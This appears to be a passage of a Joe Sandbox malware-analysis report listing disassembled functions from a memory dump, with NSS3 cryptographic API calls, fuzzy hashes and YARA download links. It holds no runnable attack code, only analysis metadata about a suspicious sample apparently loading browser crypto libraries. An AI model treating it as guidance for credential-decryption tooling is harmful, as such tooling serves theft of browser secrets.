Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 7f636fcf700fb2414af5496735e1f370b99ff94d36b9d0173846d571bc0684e9
Instruction ID: 4da11e184f531e015fdd451134eac73f31efc00e2ec6f7fc35f43f0fd33fc462
Opcode Fuzzy Hash: 7f636fcf700fb2414af5496735e1f370b99ff94d36b9d0173846d571bc0684e9
Instruction Fuzzy Hash: 01510371E052569FDB108E59C8807AEB7B5FF4D318F280229DC59A7B40D732AC00CBE9

Function 6C64DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64DF37
EnterCriticalSection.KERNEL32(?), ref: 6C64DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C64E02B
PR_Unlock.NSS3(?), ref: 6C64E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C64E090
PR_Unlock.NSS3(?), ref: 6C64E0AF

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 78699d35bcac37eab9f0ab9fe7c7f1a8c083e7df0fea4612c3d118eab18f49d4
Instruction ID: 65704b5e3c89cd7c654c7e0bd3fb12c90fafbfe617e559c97588b7dbeae69d8b
Opcode Fuzzy Hash: 78699d35bcac37eab9f0ab9fe7c7f1a8c083e7df0fea4612c3d118eab18f49d4
Instruction Fuzzy Hash: 1651AF31A00600DFEB20DF24D844B96B3B5FF45719F20C529E9AA47BA1D735E858CB9A

Function 6C64BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C64BD1E

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

Part of subcall function 6C6657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C62B41E,00000000,00000000,?,00000000,?,6C62B41E,00000000,00000000,00000001,?), ref: 6C6657E0
Part of subcall function 6C6657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C665843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C64BD8C

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C64BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C64BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64BE3A

Part of subcall function 6C623E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
Part of subcall function 6C623E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6
Part of subcall function 6C623E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE
Part of subcall function 6C623E60: PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
Part of subcall function 6C623E60: PL_FreeArenaPool.NSS3 ref: 6C623F14
Part of subcall function 6C623E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64BE52

Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E
Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33
Part of subcall function 6C622E00: TlsGetValue.KERNEL32 ref: 6C622E4E
Part of subcall function 6C622E00: EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
Part of subcall function 6C622E00: PL_HashTableLookup.NSS3(?), ref: 6C622E71
Part of subcall function 6C622E00: PL_HashTableRemove.NSS3(?), ref: 6C622E84
Part of subcall function 6C622E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
Part of subcall function 6C622E00: PR_Unlock.NSS3 ref: 6C622EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64BE61

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: fdeda2f5e3fe12f4592c6016aed9e413b5619de390dc72ba8a874821ad5d3591
Instruction ID: 73a95325c04b1558ade71b9b4fb283d0ed2006d9e6d80a23b34f78376ebfc29d
Opcode Fuzzy Hash: fdeda2f5e3fe12f4592c6016aed9e413b5619de390dc72ba8a874821ad5d3591
Instruction Fuzzy Hash: 3541D575A00610AFC710CF28DC80E5A77E4EF86718F10C568F95997711E731ED15CBAA

Function 6C66AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C66AB3E,?,?,?), ref: 6C66AC35

Part of subcall function 6C64CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C64CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C66AB3E,?,?,?), ref: 6C66AC55

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E,?,?), ref: 6C66AC70

Part of subcall function 6C64E300: TlsGetValue.KERNEL32 ref: 6C64E33C
Part of subcall function 6C64E300: EnterCriticalSection.KERNEL32(?), ref: 6C64E350
Part of subcall function 6C64E300: PR_Unlock.NSS3(?), ref: 6C64E5BC
Part of subcall function 6C64E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C64E5CA
Part of subcall function 6C64E300: TlsGetValue.KERNEL32 ref: 6C64E5F2
Part of subcall function 6C64E300: EnterCriticalSection.KERNEL32(?), ref: 6C64E606
Part of subcall function 6C64E300: PORT_Alloc_Util.NSS3(?), ref: 6C64E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C66AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E), ref: 6C66ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C66AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C66AD2B

Part of subcall function 6C64F360: TlsGetValue.KERNEL32(00000000,?,6C66A904,?), ref: 6C64F38B
Part of subcall function 6C64F360: EnterCriticalSection.KERNEL32(?,?,?,6C66A904,?), ref: 6C64F3A0
Part of subcall function 6C64F360: PR_Unlock.NSS3(?,?,?,?,6C66A904,?), ref: 6C64F3D3

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: f831ea5c2e64ffbd7cc72e1052a0e5256653306156d3de472404a83d5402849f
Instruction ID: 4a42982557a02c0e0eac3f5df7303663cc7fd8b7f93f32373fbd7d3cd9073013
Opcode Fuzzy Hash: f831ea5c2e64ffbd7cc72e1052a0e5256653306156d3de472404a83d5402849f
Instruction Fuzzy Hash: 6A3129B1E002295FEB009F26CC409AF77A6AF8571CB188128E81557B41EB31DD15C7AA

Function 6C648C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C648C7C

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C648CB0
TlsGetValue.KERNEL32 ref: 6C648CD1
EnterCriticalSection.KERNEL32(?), ref: 6C648CE5
PR_Unlock.NSS3(?), ref: 6C648D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C648D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C648D93

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 9dd8e70adfab0ed937145bf87793553f46157f8fba5deff1770d92a3ecea0147
Instruction ID: f9966b4d9b1da319804c095abcc1fcb01f56ea10c43a1bfb63947d7a3dd2bacb
Opcode Fuzzy Hash: 9dd8e70adfab0ed937145bf87793553f46157f8fba5deff1770d92a3ecea0147
Instruction Fuzzy Hash: 60314871E02205AFD7009F68DC447DAB7B4FF49318F248136EA19A7B60D770A924C7D9

Function 6C689D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C689C5B), ref: 6C689D82

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C689C5B), ref: 6C689DA9

Part of subcall function 6C681340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68136A
Part of subcall function 6C681340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68137E
Part of subcall function 6C681340: PL_ArenaGrow.NSS3(?,6C61F599,?,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?), ref: 6C6813CF
Part of subcall function 6C681340: PR_Unlock.NSS3(?,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C68145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C689C5B), ref: 6C689DCE

Part of subcall function 6C681340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C6813F0
Part of subcall function 6C681340: PL_ArenaGrow.NSS3(?,6C61F599,?,?,?,00000000,00000000,?,6C62895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C681445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C689C5B), ref: 6C689DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C689C5B), ref: 6C689DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C689C5B), ref: 6C689E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C689C5B), ref: 6C689E91

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

Part of subcall function 6C681560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C67FAAB,00000000), ref: 6C68157E
Part of subcall function 6C681560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C67FAAB,00000000), ref: 6C681592
Part of subcall function 6C681560: memset.VCRUNTIME140(?,00000000,?), ref: 6C681600
Part of subcall function 6C681560: PL_ArenaRelease.NSS3(?,?), ref: 6C681620
Part of subcall function 6C681560: PR_Unlock.NSS3(?), ref: 6C681639

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 46d6c52b365575d72a2f607224fbe5b009dc16f07adff0f5198b3d71df957831
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 54418DB4602606AFE750DF15D844B92BBA1FF4534CF148128D9188BFA1EB72E835CFA4

Function 6C64DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C64DDEC

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

PK11_DigestBegin.NSS3(00000000), ref: 6C64DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C64DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C64DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C64DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C64DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64DECC

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 5e153a29b3f9f1894a4fdf263a4d77866bb7c6120280e762b56857ebdec3e576
Instruction ID: 94f13b3a33c92beaeccdb914f6cda443b6d3398b78d86fa2f7d85ad870889655
Opcode Fuzzy Hash: 5e153a29b3f9f1894a4fdf263a4d77866bb7c6120280e762b56857ebdec3e576
Instruction Fuzzy Hash: 9D31D7B2D002146BDB01AE24EC40FBB76B8DF56708F058135ED09A7742FB31D919C6EA

Function 6C627E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C627E48

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C627E5B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C627E7B

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C74925C,?), ref: 6C627E92

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C627EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C627ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C627EFA

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: aa0cc999d7b4eed34cf6c80b23f3d1f3c2028daa18ed45c8d831d2e49a74b203
Instruction ID: 095850e0c4ed668b5fb581652997f44f411817b9f46641418a9bc42795eecb29
Opcode Fuzzy Hash: aa0cc999d7b4eed34cf6c80b23f3d1f3c2028daa18ed45c8d831d2e49a74b203
Instruction Fuzzy Hash: 0731AFB2A012159BEB108B69DD40F9B73E8AF45758F154824EC55EBB41F734EC04CBB9

Function 6C67DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C67DCAD

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: ed6bec55878712c03f62cb47e61cec5eb2b5de79e3ac4fbc12bc22606d4f5279
Instruction ID: 7939460665a5331e5bd0ca4f38bb8c4956ab33669c06ac9bb185e9e499f28889
Opcode Fuzzy Hash: ed6bec55878712c03f62cb47e61cec5eb2b5de79e3ac4fbc12bc22606d4f5279
Instruction Fuzzy Hash: AC317EB5A012049FE720CF19D884B96B7F8AF05358F248C29E94CCBB41E772E944CBB5

Function 6C642E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C63E728,?,00000038,?,?,00000000), ref: 6C642E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C642E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C642E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C642E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C642E9E
PR_Unlock.NSS3(?), ref: 6C642EAB
PR_Unlock.NSS3(?), ref: 6C642F0D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 68ad93198e6cc35f521a1d5ca3f206f1e17410b044ebab060134ff386d4b4744
Instruction ID: fb928060a97d5b9df75f0523944df523bd7b643ba2bd1a8138f536a746e5cc5c
Opcode Fuzzy Hash: 68ad93198e6cc35f521a1d5ca3f206f1e17410b044ebab060134ff386d4b4744
Instruction Fuzzy Hash: CE3104B5A00505ABEB015F28D8448BAB775EF4A359B64C1B4EC08C7A21EB31EC64C7E5

Function 6C661EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&fl,6C646295,?,00000000,?,00000001,S&fl,?), ref: 6C661ECB

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&fl,6C646295,?,00000000,?,00000001,S&fl,?), ref: 6C661EF1
EnterCriticalSection.KERNEL32(?), ref: 6C661F01
PR_SetError.NSS3(00000000,00000000), ref: 6C661F39

Part of subcall function 6C66FE20: TlsGetValue.KERNEL32(6C645ADC,?,00000000,00000001,?,?,00000000,?,6C63BA55,?,?), ref: 6C66FE4B
Part of subcall function 6C66FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C66FE5F

PR_Unlock.NSS3(?), ref: 6C661F67

Strings

S&fl, xrefs: 6C661EA0

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID: S&fl
API String ID: 704537481-3013583952
